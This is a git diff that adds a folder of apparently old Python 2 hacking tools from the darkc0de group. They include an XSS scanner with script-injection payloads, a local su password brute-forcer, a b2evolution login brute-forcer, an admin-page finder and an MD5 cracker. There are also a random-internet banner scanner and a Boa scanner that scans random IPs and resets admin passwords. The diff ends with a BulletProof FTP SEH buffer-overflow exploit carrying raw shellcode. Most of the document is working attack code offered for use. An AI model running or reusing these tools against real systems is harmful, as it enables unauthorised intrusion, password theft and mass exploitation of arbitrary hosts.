+		"%22%3E<script>alert(String.fromCharCode(68,51,72,89,68,82,56,45,48,119,78,122,45,89,48,85));</script>",
+		"'';!--\"<%27D3HYDR8%2D0wNz%2DY0U%27>=&{()}",
+		"<script>alert('D3HYDR8%2D0wNz%2DY0U')</script>"]
+socket.setdefaulttimeout(3)
+found_xss = {}
+done = []
+count = 0
+print "\n[+] XSS_scan Loaded"
+try:
+	if verbose ==1:
+		print "[+] Verbose Mode On"
+except(NameError):
+	verbose = 0
+	print "[+] Verbose Mode Off"
+try:
+	if message:
+		print "[+] Alert:",message
+except(NameError):
+	print "[+] Alert: D3HYDR8%2D0wNz%2DY0U"
+	message = ""
+	pass
+alert = "D3HYDR8%2D0wNz%2DY0U"
+try:
+	if txt:
+		print "[+] File:",txt
+except(NameError):
+	txt = None
+	pass
+print "[+] XSS Payloads:",len(xss_payloads)
+if sys.argv[1].lower() == "-g" or sys.argv[1].lower() == "-google":	
+	try:
+		if sys.argv[3].isdigit() == False:
+			print "\n[-] Argument [",sys.argv[3],"] must be a number.\n"
+			sys.exit(1)
+		else:
+			if int(sys.argv[3]) <= 10:
+				print "\n[-] Argument [",sys.argv[3],"] must be greater than 10.\n"
+				sys.exit(1)
+	except(IndexError):
+			print "\n[-] Need number of hosts to collect.\n"
+			sys.exit(1)
+	query = re.sub("\s","+",sys.argv[2])
+	print "[+] Query:",query
+	print "[+] Querying Google..."
+	urls = geturls(query)
+	print "[+] Collected:",len(urls),"hosts"
+	print "[+] Started:",timer()
+	time.sleep(3)
+	while len(urls) > 0:
+		print "-"*45
+		print "\n[-] Length:",len(urls),"remain"
+		getvar(random.choice(urls))
+if sys.argv[1].lower() == "-s" or sys.argv[1].lower() == "-site":
+	site = sys.argv[2]
+	print "[+] Site:",site
+	if site[:7] == "http://":
+		site = site.replace("http://","")
+	print "[+] Started:",timer()
+	time.sleep(3)
+	getvar(site)
+
+print "-"*65
+print "\n\n[+] Potential XSS found:",len(found_xss),"\n"
+time.sleep(3)
+if txt != None and len(found_xss) >=1:
+	xss_file = open(txt, "a")
+	xss_file.writelines("\n\td3hydr8[at]gmail[dot]com XSS Scanner v1.2\n")
+	xss_file.writelines("\t------------------------------------------\n\n")
+	print "[+] Writing Data:",txt
+else:
+	print "[-] No Data Reported"
+for k in found_xss.keys():
+	count+=1
+	if txt != None:
+		if message != "":
+			xss_file.writelines("["+str(count)+"] "+k.replace("D3HYDR8%2D0wNz%2DY0U",message)+"\n")
+		else:
+			xss_file.writelines("["+str(count)+"] "+k+"\n")
+	if message != "":
+		print "\n["+str(count)+"]",k.replace("D3HYDR8%2D0wNz%2DY0U",message)
+	else:
+		print "\n["+str(count)+"]",k
+	addrs = found_xss[k]
+	if addrs != "None":
+		print "\t[+] Email addresses:" 
+		for addr in addrs: 
+			if txt:
+				xss_file.writelines("\tEmail: "+addr+"\n")
+			print "\t   -",addr
+print "\n[-] Done -",timer(),"\n"
+
+
+
+
diff --git a/3rdparty/accbrute.py b/3rdparty/accbrute.py
new file mode 100644
index 0000000..5f7e5fb
--- /dev/null
+++ b/3rdparty/accbrute.py
@@ -0,0 +1,56 @@
+#!/usr/bin/python
+#Local Account BruteForcer
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, pwd
+try:
+	import pexpect
+except(ImportError):
+	print "\nYou need the pexpect module."
+	print "http://www.noah.org/wiki/Pexpect\n"
+	sys.exit(1)
+
+#Change this if needed.
+LOGIN_ERROR = 'su: incorrect password'
+
+def brute(word):
+	print "Trying:",word
+	child = pexpect.spawn ('su '+user)
+	child.expect ('Password: ')
+	child.sendline (word)
+	i = child.expect([LOGIN_ERROR, pexpect.TIMEOUT], timeout=5)
+	if i  == 1:
+		print "\n\t[!] Password:",word
+		child.sendline ('whoami')
+		print child.before
+		child.interact()
+	#if i = 0:
+		#print "Incorrect Password"
+	
+if len(sys.argv) != 3:
+	print "\nUsage : ./accbrute.py <user> <wordlist>"
+	print "Eg: ./accbrute.py d3hydr8 words.txt\n"
+	sys.exit(1)
+
+user = sys.argv[1]
+users = []
+for x in pwd.getpwall():
+	users.append(x[0])
+if user not in users:
+	print "\n[-] User not found\n"
+	sys.exit(1)
+	
+print "\n[+] Found:",len(users),"users"
+try:
+	words = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "\n[-] Error: Check your wordlist path\n"
+  	sys.exit(1)
+	
+print "\n[+] Loaded:",len(words),"words"
+print "[+] User:",user
+print "[+] BruteForcing...\n"
+for word in words:
+	brute(word.replace("\n",""))
diff --git a/3rdparty/adminscan.py b/3rdparty/adminscan.py
new file mode 100644
index 0000000..c259912
--- /dev/null
+++ b/3rdparty/adminscan.py
@@ -0,0 +1,95 @@
+#/usr/bin/python
+# This was written for educational purpose only. Use it at your own risk.
+# Author will be not responsible for any damage!
+# !!! Special greetz for my friend sinner_01 !!!
+# !!! Special thanx for d3hydr8 and rsauron who inspired me !!! 
+#
+################################################################ 
+#       .___             __          _______       .___        # 
+#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
+#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
+#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
+#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
+#        \/                  \/             \/                 # 
+#                   ___________   ______  _  __                # 
+#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
+#                 \  \___|  | \/\  ___/\     /                 # 
+#                  \___  >__|    \___  >\/\_/                  # 
+#      est.2007        \/            \/   forum.darkc0de.com   # 
+################################################################ 
+# ---  d3hydr8 - rsauron - P47r1ck - r45c4l - C1c4Tr1Z - bennu # 
+# ---  QKrun1x  - skillfaker - Croathack - Optyx - Nuclear     #
+# ---  Eliminator and to all members of darkc0de and ljuska.org# 
+################################################################ 
+#
+#
+# Based on Web admin locator by Lipun4u
+#
+#
+#
+
+
+
+import sys, os, time, httplib
+
+if sys.platform == 'linux' or sys.platform == 'linux2':
+	clearing = 'clear'
+else:
+	clearing = 'cls'
+os.system(clearing)
+
+
+if len(sys.argv) != 2:
+	print "\n|---------------------------------------------------------------|"
+        print "| b4ltazar[@]gmail[dot]com                                      |"
+        print "|   03/2009     Admin login finder     v2.0                     |"
+	print "| Help: admin-find.py -h                                        |"
+	print "| Visit www.darkc0de.com and www.ljuska.org                     |"
+        print "|---------------------------------------------------------------|\n"
+	sys.exit(1)
+	
+for arg in sys.argv:
+	if arg == '-h':
+		print "\n|-------------------------------------------------------------------------------|"
+                print "| b4ltazar[@]gmail[dot]com                                                      |"
+                print "|   03/2009      Admin login finder     v2.0                                    |"
+                print "| Usage: admin-find.py www.site.com                                             |"
+	        print "| Example: admin-find.py site.com                                               |"
+	        print "| Visit www.darkc0de.com and www.ljuska.org                                     |"
+                print "|-------------------------------------------------------------------------------|\n"
+		sys.exit(1)
+	
+	
+
+site = sys.argv[1].replace("http://","").rsplit("/",1)[0] 
+site = site.lower()
+
+admin_path = ['admin.php','admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/','memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php','joomla/administrator','login.php',
+'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html','admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html','admin/controlpanel.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html','webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html','admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php','administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php','bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','modelsearch/login.php','moderator.php','moderator/login.php','moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php',
+'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html','webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html','administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html','panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','adminarea/index.php','adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php','modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php','adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php']
+
+
+print "\n|---------------------------------------------------------------|"
+print "| b4ltazar[@]gmail[dot]com                                      |"
+print "|   03/2009      Admin login finder     v2.0                    |"
+print "| Visit www.darkc0de.com and www.ljuska.org                     |"
+print "|---------------------------------------------------------------|\n"
+print "\n[-] %s" % time.strftime("%X")
+		
+print "[+] Target:",site
+print "[+] Checking paths..."
+print
+
+
+try:
+	for admin in admin_path:
+		admin = admin.replace("\n","")
+		admin = "/" + admin
+		connection = httplib.HTTPConnection(site)
+		connection.request("GET",admin)
+		response = connection.getresponse()
+		print "%s %s %s" % (admin, response.status, response.reason)
+except(KeyboardInterrupt,SystemExit):
+		raise
+except:
+		pass
diff --git a/3rdparty/alphadbgen.py b/3rdparty/alphadbgen.py
new file mode 100644
index 0000000..b8eb848
--- /dev/null
+++ b/3rdparty/alphadbgen.py
@@ -0,0 +1,95 @@
+#!/usr/bin/python
+#Takes a wordlist and creates a md5.
+#Then creates a database depending on
+#the first char the hash begins with.
+
+#pave project
+
+##http://www.darkc0de.com
+##d3hydr8[at]gmail[dot]com
+
+import sys, md5, sets, re
+
+def md5gen(word):
+	hash = md5.new(word)
+	return hash.hexdigest()
+
+def testdup(hash):
+	try:
+		db = open(hash[0]+".txt", "r").read()
+		if db.find(hash) == -1:
+			return None
+		else:
+			return True
+	except(IOError):
+		return None
+	
+	
+if len(sys.argv) != 2:
+	print "\n\tUsage: ./alphadbgen.py <wordlist>"
+	print "\n\tEx: ./alphadbgen.py wordlist.txt\n"
+	sys.exit(1)
+	
+try:
+	words = open(sys.argv[1], "r").readlines()
+except(IOError), msg: 
+ 	print "[-] Error:",msg,"\n" 
+	sys.exit(1)
+words = list(sets.Set(words))
+print "\n[+] Length:",len(words),"\n"
+for word in words:
+	word = word.replace("\n","")
+	hash = md5gen(word) 
+	if testdup(hash) == None:
+		print hash+":"+word
+		db = open(hash[0]+".txt", "a")
+		print "Writing:",hash[0]+".txt"
+		db.writelines(hash+":"+word+"\n")
+		db.close()
+	else:
+		print "Duplicate Found:",hash+":"+word
+print "\n[+] Databases Complete\n"
+
+
+#!/usr/bin/python
+#Searches db for matching hash
+
+#www.darkc0de.com
+#d3hydr8[at]gmail[dot]com 
+
+import sys, os
+
+DB_DIR = "/home/d3hydr8/dbs"
+
+def getwords(db):
+	try:
+  		file = open(db, "r")
+		words = file.readlines()
+		file.close()
+	except(IOError),msg:
+		words = "" 
+  		print "Error:",msg
+  		pass
+	return words
+
+if len(sys.argv) != 2:
+	print "Usage: ./hashsearch.py <hash>"
+	sys.exit(1)
+
+dbs = os.listdir(DB_DIR)
+hash = sys.argv[1]
+words = getwords(os.path.join(DB_DIR,hash[0]+".txt"))
+print "\n[+] Loaded:",len(words),"hashes"
+for word in words:
+	word = word.replace("\n","")
+	if word.find(hash) != -1:
+		print "\n[+] Found:",word
+print "\n[-] Done\n"
+
+
+
+
+
+
+
+	
\ No newline at end of file
diff --git a/3rdparty/alphalowcrack.py b/3rdparty/alphalowcrack.py
new file mode 100644
index 0000000..f5a1e63
--- /dev/null
+++ b/3rdparty/alphalowcrack.py
@@ -0,0 +1,30 @@
+#!/usr/bin/env python
+#Trys to crack md5 with alpha lowercase char set.
+#Length 5 characters.
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, md5, time
+
+def crack(word):
+	time.sleep(0.2) #Edit according to your system.
+	print ''.join(word), md5.new(''.join(word)).hexdigest()
+	value = md5.new(''.join(word)).hexdigest()
+	if sys.argv[1] == value:
+		print "\n[!] Cracked:",''.join(word),"\n"
+		sys.exit(1)
+
+def main(first, start, second=[]):
+	if not start: return crack(second)
+    	for i in range(len(first)):
+        	second.append(first.pop(i))
+        	main(first, start-1, second)
+        	first.insert(i, second.pop())
+
+if len(sys.argv) != 2:
+	print "\nUsage: ./alphalowcrack.py <md5>\n"
+	sys.exit(1)
+	
+print "\nWorking...\n"
+main(list("abcdefghijklmnopqrstuvwxyz"), 5)
\ No newline at end of file
diff --git a/3rdparty/asm2shell.py b/3rdparty/asm2shell.py
new file mode 100644
index 0000000..6605132
--- /dev/null
+++ b/3rdparty/asm2shell.py
@@ -0,0 +1,92 @@
+#!/usr/bin/python
+#Takes an .asm (assembly) file
+#turns it into shellcode using 
+#nasm, ndisasm.
+#Requirements: nasm, ndisasm
+#d3hydr8[at]gmail[dot]com
+
+import sys, os, commands, getopt, StringIO, re
+
+if len(sys.argv) != 2:
+	print "\n\td3hydr8[at]gmail[dot]com asm2shell\n"
+	print "Usage: ./asm2shell.py <asm file>"
+	print "ex: ./asm2shell.py shellcode.asm"
+	sys.exit(1)
+
+asm = sys.argv[1]
+x = "\\x"
+
+try:
+  	open(asm)
+except(IOError), msg: 
+  	print "Error:",msg
+	print "Check your .asm file path.\n"
+  	sys.exit(1)
+
+os.popen('nasm '+asm)
+
+dis = StringIO.StringIO(commands.getstatusoutput('ndisasm -u '+asm[:-4])[1]).readlines()
+for line in dis:
+	sets = re.split('(\w\w)',line[10:].split(" ")[0])
+	for set in sets:
+		if set != "": print x+set
+	
+'''
+sh-3.00# cat /home/d3hydr8/shell.asm
+
+BITS 32
+jmp short       callme
+main:
+        pop     esi
+        xor     eax,eax
+        mov byte [esi+7],al
+        lea     ebx,[esi+5]
+        push    ebx
+        lea     ebx,[esi]
+        push    ebx
+        mov     al,57
+        push    eax
+        int     0x80
+
+callme:
+        call    main
+        db      '/bin/sh'
+	   
+sh-3.00# python asm2shell.py /home/d3hydr8/shell.asm
+\xEB
+\x12
+\x5E
+\x31
+\xC0
+\x88
+\x46
+\x07
+\x8D
+\x5E
+\x05
+\x53
+\x8D
+\x1E
+\x53
+\xB0
+\x39
+\x50
+\xCD
+\x80
+\xE8
+\xE9
+\xFF
+\xFF
+\xFF
+\x2F
+\x62
+\x69
+\x6E
+\x2F
+\x73
+\x68
+sh-3.00#
+
+'''
+		
+	 
\ No newline at end of file
diff --git a/3rdparty/b2evobf.py b/3rdparty/b2evobf.py
new file mode 100644
index 0000000..fbefd3c
--- /dev/null
+++ b/3rdparty/b2evobf.py
@@ -0,0 +1,95 @@
+#!/usr/bin/python 
+#b2evolution Brute Force (login.php) 
+ 
+#Change response on line 90 if needed. (language) 
+ 
+#Dork: inurl:"/htsrv/login.php" intitle:b2evo 
+ 
+#http://www.darkc0de.com 
+#d3hydr8[at]gmail[dot]com 
+ 
+import urllib2, sys, re, urllib, httplib, socket 
+ 
+print "\n   d3hydr8[at]gmail[dot]com b2evoBF v1.0" 
+print "--------------------------------------------" 
+ 
+if len(sys.argv) not in [4,5,6,7]: 
+	print "Usage: ./b2evobf.py <site> <user> <wordlist> <options>\n" 
+	print "\t   -p/-proxy <host:port> : Add proxy support" 
+	print "\t   -v/-verbose : Verbose Mode\n" 
+	sys.exit(1) 
+ 
+for arg in sys.argv[1:]: 
+	if arg.lower() == "-p" or arg.lower() == "-proxy": 
+		proxy = sys.argv[int(sys.argv[1:].index(arg))+2] 
+	if arg.lower() == "-v" or arg.lower() == "-verbose": 
+		verbose = 1 
+ 
+try: 
+	if proxy: 
+		print "\n[+] Testing Proxy..." 
+		h2 = httplib.HTTPConnection(proxy) 
+		h2.connect() 
+		print "[+] Proxy:",proxy 
+except(socket.timeout): 
+	print "\n[-] Proxy Timed Out" 
+	proxy = 0 
+	pass 
+except(NameError): 
+	print "\n[-] Proxy Not Given" 
+	proxy = 0 
+	pass 
+except: 
+	print "\n[-] Proxy Failed" 
+	proxy = 0 
+	pass 
+ 
+try: 
+	if verbose == 1: 
+		print "[+] Verbose Mode On\n" 
+except(NameError): 
+	print "[-] Verbose Mode Off\n" 
+	verbose = 0 
+	pass 
+ 
+if sys.argv[1][:7] != "http://": 
+	host = "http://"+sys.argv[1] 
+else: 
+	host = sys.argv[1] 
+ 
+print "[+] BruteForcing:",host 
+print "[+] User:",sys.argv[2] 
+ 
+try: 
+  	words = open(sys.argv[3], "r").readlines() 
+  	print "[+] Words Loaded:",len(words),"\n" 
+except(IOError): 
+  	print "[-] Error: Check your wordlist path\n" 
+  	sys.exit(1) 
+ 
+for word in words: 
+	word = word.replace("\r","").replace("\n","") 
+	login_form_seq = [ 
+     	('log', sys.argv[2]), 
+     	('pwd', word), 
+	('submit', 'Log in!')] 
+	login_form_data = urllib.urlencode(login_form_seq) 
+	if proxy != 0: 
+		proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'}) 
+		opener = urllib2.build_opener(proxy_handler) 
+	else: 
+		opener = urllib2.build_opener() 
+	try: 
+		site = opener.open(host, login_form_data).read() 
+	except(urllib2.URLError), msg: 
+		print msg 
+		site = "" 
+		pass 
+ 
+	#Change this response if different. (language) 
+	if re.search("<strong>ERROR:</strong>",site) and verbose == 1: 
+		print "[-] Login Failed:",word 
+	else: 
+		print "\n\t[!] Login Successfull:",sys.argv[2],word,"\n" 
+		sys.exit(1) 
+print "\n[-] Brute Complete\n" 
\ No newline at end of file
diff --git a/3rdparty/bannerscan.py b/3rdparty/bannerscan.py
new file mode 100644
index 0000000..94aba53
--- /dev/null
+++ b/3rdparty/bannerscan.py
@@ -0,0 +1,128 @@
+#!/usr/bin/python
+#A banner scanner that uses nmap to search for open ports
+#then attempts to recieve banner, then checks the banner 
+#against a list of vulnerbale servers. I supplied a list
+#but feel free to use your own or add to it. Line 58 
+#has the location of the vuln_list, so change this if its not 
+#in the same dir as this file.
+
+#Changelog: added webserver scan, added more vuln servers to list, better syntax
+#Changelog: added update function
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import commands, sys, StringIO, re, string, socket, time, httplib, urllib2
+
+def scan():
+
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -T 3 --open --host-timeout 25s -iR 1')[1]).read()
+	ip = re.findall("\d*\.\d*\.\d*\.\d*", nmap)
+	if ip: 
+		ipaddr = ip[0]
+		print "[+] Searching:",ipaddr
+	
+	ports = re.findall("\d+/tcp\s+(?=open)", nmap)
+	for port in ports:
+		port = port.split("/",1)[0]
+		print "[+] Port:",port,"open, checking banner.\n"
+		if port != "80" and port != "443":
+			banscan(ipaddr, port)
+		else:
+			servtest(ipaddr, port)
+			
+def servtest(ip, port):
+	
+	server = ""
+	try:
+		h = httplib.HTTP(ip+":"+port)
+		h.putrequest("HEAD", "/")
+		h.putheader("Host", ip)
+		h.endheaders()
+		status, reason, headers = h.getreply()
+		server = headers.get("Server")
+		print server
+	except: pass
+	
+	if server != None and server != "":
+		for item in lines:
+			if re.search(item[:-1].lower(), server.lower()): 
+				print "\n[!] Match:",ipaddr,":",port,item
+				print "[+]Response:",response,"\n"
+		
+				
+def banscan(ipaddr, port):
+
+	try:
+		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+		s.settimeout(15)
+		s.connect((ipaddr, int(port)))
+		time.sleep(4)
+		s.send("\r\n")
+		response = s.recvfrom(1024)[0]
+		s.close()
+		for item in lines:
+			  if re.search(item[:-1].lower(), response.lower()): 
+					print "\n[!] Match:",ipaddr,":",port,item
+					print "[+]Response:",response,"\n"
+	except socket.error, msg:
+   		print "[-] An error occurred:", msg
+		pass
+			
+def update():
+	try:
+		lines = open(sys.argv[2], "r").readlines()
+	except(IOError): 
+ 		print "[-] Error: Check your [",sys.argv[2],"] path and permissions"
+		print "[-] Update Failed\n"
+		sys.exit(1)
+	try:
+		paths = urllib2.urlopen("http://www.darkc0de.com/scanners/vuln_list.txt").readlines()
+	except:
+		print "[-] Error: Couldn't connect to remote database"
+		print "[-] Update Failed\n"
+		sys.exit(1)
+	if len(paths) > len(lines):
+		dif = int(len(paths)-len(lines))
+		print "[+] Found:",dif,"updates"
+		print "\n[+] Writing Updates"
+		file = open(sys.argv[2], "a")
+		for path in paths[-dif:]:
+			if path[-1:] == "\n":
+				path = path[:-1]
+			print "[+] New:",path
+			file.writelines(path+"\n")
+		file.close()
+		print "\n[+] Update Complete\n"
+	else:
+		print "[-] No Updates Available\n"
+	sys.exit(1)
+		
+#................................................
+print "\n   d3hydr8[at]gmail[dot]com BannerScan v1.2"
+print "----------------------------------------------"
+
+if len(sys.argv) >= 4 or len(sys.argv) == 1 or len(sys.argv) == 2:
+	print "\nUsage: ./banscan.py <how many ips to scan> <path to vuln. server list>"
+	print "\t[options]"
+	print "\t   -u/-update <path to vuln. server list>: Updates vuln list with the latest"
+	print "\n\t[+] Ex. ./banscan.py -update vuln_list.txt"
+	print "\t[+] Ex: ./banscan.py 10000 /home/d3hydr8/vuln_list.txt\n"
+	sys.exit(1)
+	
+if sys.argv[1].lower() == "-u" or sys.argv[1].lower() == "-update":
+	print "\n[+] Updating Database File"
+	update()
+
+print "\n[+] Scanning:",sys.argv[1]
+
+try:
+	lines = open(sys.argv[2], "r").readlines()
+	print "[+] Loaded:",len(lines),"vulnerable servers\n"
+except(IOError): 
+ 	print "Error: Check your vuln_list path\n"
+	sys.exit(1)
+for x in xrange(int(sys.argv[1])):
+	scan()
+print "\n[-] Done\n"
+	
\ No newline at end of file
diff --git a/3rdparty/base64tohex.py b/3rdparty/base64tohex.py
new file mode 100644
index 0000000..58305c4
--- /dev/null
+++ b/3rdparty/base64tohex.py
@@ -0,0 +1,27 @@
+#!/usr/bin/python
+#Decodes base64 string into hex.
+#like t6vC0NdNP0+BmXa1XfI4QQ==
+
+import sys, base64, binascii
+
+if len(sys.argv) != 2:
+	print "Usage: ./base64tohex.py <string>"
+	sys.exit(1)
+
+b = base64.b64decode(sys.argv[1])
+print "\nBinary value:",b,"\n"
+
+print "Hex value:",binascii.b2a_hex(b)
+print "Length:",len(binascii.b2a_hex(b))
+
+"""
+Example:
+	
+python base64tohex.py t6vC0NdNP0+BmXa1XfI4QQ==
+
+Binary value:  #^&v0!*
+
+Hex value: b7abc2d0d74d3f4f819976b55df23841
+Length: 32
+
+"""
\ No newline at end of file
diff --git a/3rdparty/boascan.py b/3rdparty/boascan.py
new file mode 100644
index 0000000..d59916b
--- /dev/null
+++ b/3rdparty/boascan.py
@@ -0,0 +1,80 @@
+#!/usr/bin/python
+#Scans for Boa webserver, then exploits
+
+#Exploit: http://www.milw0rm.com/exploits/4542
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import socket, httplib, threading, time, sys, random, urllib2
+
+def scan(ip, msg):
+	ports = [80,8000,8080]
+	print "Testing:",ip
+	for port in ports:
+		try:
+			s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+			s.connect((ip, port))
+			s.close()
+			print "\n[+] Open:",ip+":"+str(port)
+			servtest(ip, port)
+		except:
+			pass
+
+def servtest(ip, port):
+	
+	try:
+		h = httplib.HTTP(ip+":"+str(port))
+		h.putrequest("HEAD", "/")
+		h.putheader("Host", ip)
+		h.endheaders()
+		status, reason, headers = h.getreply()
+		server = headers.get("Server")
+		if server:
+			print "[+] Running:",server,"\n"
+			if re.search("boa", server.lower()):
+				print "\t[!] Boa Server Found"
+				exploit(ip)
+	except: 
+		pass
+
+def randip():
+	
+	A = random.randrange(255) + 1
+	B = random.randrange(255) + 1
+	C = random.randrange(255) + 1
+	D = random.randrange(255) + 1
+	ip = "%d.%d.%d.%d" % (A,B,C,D)
+	return ip
+
+def exploit(ip):
+	print "\t[+] Exploiting:",ip
+	USERNAME = 'a'*127
+	NEW_PASSWORD = 'owned'
+	try:
+		auth_handler = urllib2.HTTPBasicAuthHandler()
+		auth_handler.add_password('LOGIN(default username & password is admin)', ip, USERNAME, NEW_PASSWORD);
+		opener = urllib2.build_opener(auth_handler)
+		urllib2.install_opener(opener)
+		res = urllib2.urlopen('http://'+ip+'/home/index.shtml')
+		print "\t[-] Exploit Successful"
+	except:
+		print "\t[-] Exploit Failed"
+
+print "\n\t   d3hydr8[at]gmail[dot]com BoaScan v1.0"
+print "\t----------------------------------------------\n"
+if len(sys.argv) < 2:
+	print "Usage: ./boascan.py <how many?>\n"
+	sys.exit(1)
+	
+print "[+] Scanning:",sys.argv[1],"ips\n"
+
+socket.setdefaulttimeout(3)
+
+for x in xrange(int(sys.argv[1])):
+	time.sleep(1)
+	threading.Thread( target=scan, args=(randip(), 0) ).start()
+time.sleep(5)
+print "\n[-] Done\n"
+
+	
\ No newline at end of file
diff --git a/3rdparty/bulletftp.py b/3rdparty/bulletftp.py
new file mode 100644
index 0000000..41d4f9c
--- /dev/null
+++ b/3rdparty/bulletftp.py
@@ -0,0 +1,114 @@
+#!/usr/bin/python
+#Uses nmap to scan ip range for open ftp ports,
+#if open checks banner to see if BulletProofFTP is running.
+#if so exploits using h07's sploit.
+#d3hydr8[at]gmail[dot]com
+
+import commands, sys, getopt, StringIO, re, time
+from socket import *
+from struct import pack
+
+tmp, args = getopt.getopt(sys.argv[1:],"")
+	
+def scan():
+
+	iprange = args[0]
+	ip_list = []
+	
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 21 | grep open -B 3')[1]).readlines()
+	
+	for tmp in nmap:
+		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+		if ipaddr:
+	    		ip_list.append(ipaddr[0])
+	print "[+]",len(ip_list), "hosts found with port 21 open...\n"	
+	print "[+] Attempting to banner scan...\n"
+	return ip_list
+		
+def banscan(iplist):
+	
+	finlist = []
+	import socket
+	for ip in iplist:
+		try:
+			s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+			s.settimeout(10)
+			s.connect((ip, 21))
+			time.sleep(2)
+			s.send("\r\n")
+			response = s.recvfrom(1024)[0]
+			s.close()
+			if re.search("bulletproof", response.lower()) or re.search("v2.45", response.lower()):
+				finlist.append(ip)	
+		except socket.error:
+			s.close()
+   			pass
+	if len(finlist) == 0: 
+		print "\nCouldn't find any servers running BulletProofFTP\n"
+		sys.exit(1)
+	return finlist
+	
+def exploit(ipaddr):
+	
+	import socket
+	
+	shellcode = (
+	"\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
+	"\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
+	"\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
+	"\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
+	"\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
+	"\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
+	"\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
+	"\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
+	"\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
+	"\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
+	"\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4")
+
+	port = 21
+	LEN = 4104
+	NEXT_SEH_RECORD = 0x909006EB  # JMP SHORT + 0x06
+	SE_HANDLER = 0x77585A69       # POP POP RET (2000 SP4 Polish) 
+	
+	try:
+		s = socket.socket(AF_INET, SOCK_STREAM)
+		s.bind((ipaddr, port))
+		s.listen(1)
+		print "\n[+] Listening on %d ..." % port
+
+		cl, addr = s.accept()
+		print "[+] Connection accepted from %s" % ipaddr
+
+		buffer = "220 "
+		buffer += "A" * LEN
+		buffer += pack("<L", NEXT_SEH_RECORD)
+		buffer += pack("<L", SE_HANDLER)
+		buffer += shellcode
+		buffer += "\r\n"
+
+		cl.send(buffer)
+		print "[+] Sending buffer: OK\n"
+
+		sleep(1)
+		cl.close()
+		s.close()
+	except socket.error, msg:
+		print "Encountered an error:", msg
+		pass
+		
+	
+#................................................
+	
+if args == []:
+	print "\nUsage: ./bulletftp.py <ip range>"
+	print "ex: ./bulletftp.py 192.168.1-10.0-255\n"
+else:
+	print "\n\t[ d3hydr8[at]gmail[dot]com BulletProof FTP scanner ]"
+	print "\n[+] Scanning",args[0],"\n"
+	finlist = banscan(scan())
+	print "Attempting to exploit",len(finlist),"hosts running BulletProof FTP server...\n"
+	for ip in finlist:
+		exploit(ip)
+	
+	
+	
